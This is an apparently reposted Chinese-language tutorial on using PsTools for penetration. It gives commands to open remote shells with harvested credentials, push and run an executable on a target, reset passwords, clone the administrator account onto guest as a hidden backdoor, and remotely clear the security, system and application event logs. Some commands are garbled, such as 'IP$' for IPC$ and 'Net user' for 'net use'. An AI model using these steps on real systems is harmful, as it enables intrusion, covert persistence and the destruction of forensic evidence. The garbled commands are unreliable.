Pstools使用


pstool的介紹

PsTools是Sysinternals Suite中一款排名靠前的一個安全管理工具套件。現在被微軟收購。目前pstools中含有12款各式各樣的小工具。如果將它們靈活的運用,將會在滲透中收到奇效。所有的pstool第一次運行時都會彈框。可以用–accepteula這個參數繞過。

還有所有的pstool都支持IP$,一旦IP$共享是連接的就不用輸入-u 和-p這兩個參數。

如何建立IP$連接。命令如下:

Net user \\目標ip\ 密碼 /user:用戶

Net user \\192.168.1.3\ 123456 /user:test

建立后所有的ps工具都將可以不用輸入用戶和密碼了。

其中12款工具簡介如下:

◆PsExec - 遠程執行進程

◆PsFile - 顯示遠程打開的文件

◆PsGetSid - 顯示計算機或用戶的 SID

◆PsInfo - 列出有關系統的信息

◆PsKill - 按名稱或進程 ID 終止進程

◆PsList - 列出有關進程的詳細信息

◆PsLoggedOn - 查看在本地通過資源共享(包含所有資源)登錄的用戶

◆PsLogList - 轉儲事件日志記錄

◆PsPasswd - 更改帳戶密碼

◆PsService - 查看和控制服務

◆PsShutdown - 關閉並重新啟動(可選)計算機

◆PsSuspend - 暫停進程

 Psexec 介紹

遠程獲取一個cmdshell

比如我再滲透中掃描到目標機(192.168.1.3)的一個用戶名(test)和密碼(123456)。

那我們的命令就是:

psexec \\目標ip -u 用戶名 -p 密碼 進程名

psexec \\192.168.0.109 –u test –p 123456 cmd.exe
exit退出

 

這里看見不能空密碼進行連接

 

 

 

限制 比guest權限大的用戶都能登陸
 PsExec \\192.168.0.109 -u administrator -p 123456 -c k:\ss.exe

 

 

 

 

pspasswd的應用詳解

 

 

pspasswd \\192.168.0.109 -u administrator -p 123456 guest 123456  用administrator改guest的密碼

 

 

 

pspassword妙用

首先執行D:\web|pspasswd.exe –accepteula (第一次執行,表示許可執行的意思)

D:\web|pspasswd.exe administrator yueyan

就會成功修改administrator的密碼。

這里能修改密碼的原因是pspasswd不是調用net.exe進行密碼修改。

上述介紹常常配合mt.exe進行用戶克隆。這里簡單介紹:

(關於mt.exe的詳細介紹請訪問:【工具】mt.exe的詳細介紹)
首先mt.exe查看用戶sid,比較后看是否有克隆賬戶

Mt -chkuser

比較后,沒有克隆賬戶,我們選擇guest這個賬戶進行克隆:

Mt –clone administrator guest

然后配合pspasswd修改密碼:

Pspasswd guest yueyan

就這樣成功克隆一個賬戶,並能成功登陸訪問。

pskill+psinfo+pslist的應用詳解
pskill \\192.168.0.109 -u administrator -p 123456 cmd.exe

 

我再介紹psinfo的相關應用。

基本參數是:

-h 顯示已經安裝的補丁信息

-s 顯示已安裝的軟件信息

-d 顯示磁盤信息

如果我們想看遠程主機的基本信息,命令如下:

psinfo –h –s –d \\192.168.1.3 –u administrator –p 123456

 

PSLOGGEDON:查看指定計算機的本地及遠程登錄的用戶和登錄時間。必須建立在IP$共享下才可以使用這個工具。
其他ps工具介紹:

PSLOGGEDON:查看指定計算機的本地及遠程登錄的用戶和登錄時間。必須建立在IP$共享下才可以使用這個工具。

命令如下:

Psloggedon –l \\192.168.1.3

PSLOGLIST:事件日志轉儲及管理。

這個對於滲透測試是非常有用的,它最大的特點就是遠程清理系統日志。

常用:

psloglist \\72.56.17.74 application -c > nul

psloglist \\72.56.17.74 system -c > nul

psloglist \\72.56.17.74 security -c > nul

分別是清理應用程序日志,系統運行日志,安全日志。

PSSERVICE:管理服務。

常用:

psservice query messenger

查詢messenger服務的相關信息。

最重要的項目是:服務名稱、顯示名稱、服務描述、服務類型、服務狀態。

psservice config messenger

查詢服務的配置信息。

最重要的項目是:服務名稱、服務描述、服務類型、服務啟動類型、服務錯誤控制級別、可執行文件的路徑等等。

PSSHUTDOWN:關機工具。

常用命令:

Psshutdown –s –t 60

60秒后關機。

下面幾個不常用,就介紹下:

PsFile - 顯示遠程打開的文件

Psfile \\192.168.1.3

PsGetSid - 顯示計算機或用戶的 SID

Psgetsid \\192.168.1.3

PsSuspend - 暫停進程

Pssuspend \\192.168.1.3 –u test –p 123456 cmd,exe

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM